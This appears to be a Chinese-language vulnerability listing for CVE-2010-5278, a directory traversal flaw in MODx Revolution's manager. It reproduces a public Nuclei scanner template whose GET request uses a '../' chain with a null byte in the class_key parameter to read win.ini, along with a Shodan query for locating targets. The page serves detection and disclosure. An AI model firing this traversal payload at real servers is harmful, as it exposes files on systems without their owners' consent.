CVE-2010-5278: MODx manager - Local File Inclusion

日期: 2025-08-01 | 影响软件: MODx manager | POC: 已公开

漏洞描述

A directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl and possibly earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter when magic_quotes_gpc is disabled.

PoC代码[已公开]

id: CVE-2010-5278

info:
  name: MODx manager - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl and possibly earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter when magic_quotes_gpc is disabled.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Apply the latest patches and updates provided by MODx to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34788
    - https://nvd.nist.gov/vuln/detail/CVE-2010-5278
    - http://packetstormsecurity.org/1009-exploits/modx202pl-lfi.txt
    - http://modxcms.com/forums/index.php/topic,55104.0.html
    - http://modxcms.com/forums/index.php/topic,55105.msg317273.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2010-5278
    cwe-id: CWE-22
    epss-score: 0.23359
    epss-percentile: 0.95762
    cpe: cpe:2.3:a:modx:modx_revolution:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: modx
    product: modx_revolution
    shodan-query: cpe:"cpe:2.3:a:modx:modx_revolution"
  tags: cve,cve2010,lfi,edb,packetstorm,modx

http:
  - method: GET
    path:
      - "{{BaseURL}}/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220423cce3b02e7b70fec734322570e6abc2d7c4d41021fc2c03ac34e929d742853022100d685a406ef895c78a6f8c7ac13edf657a479a46d023e54d12ab62fff09fd8374:922c64590222798bb761d5b6d8e72950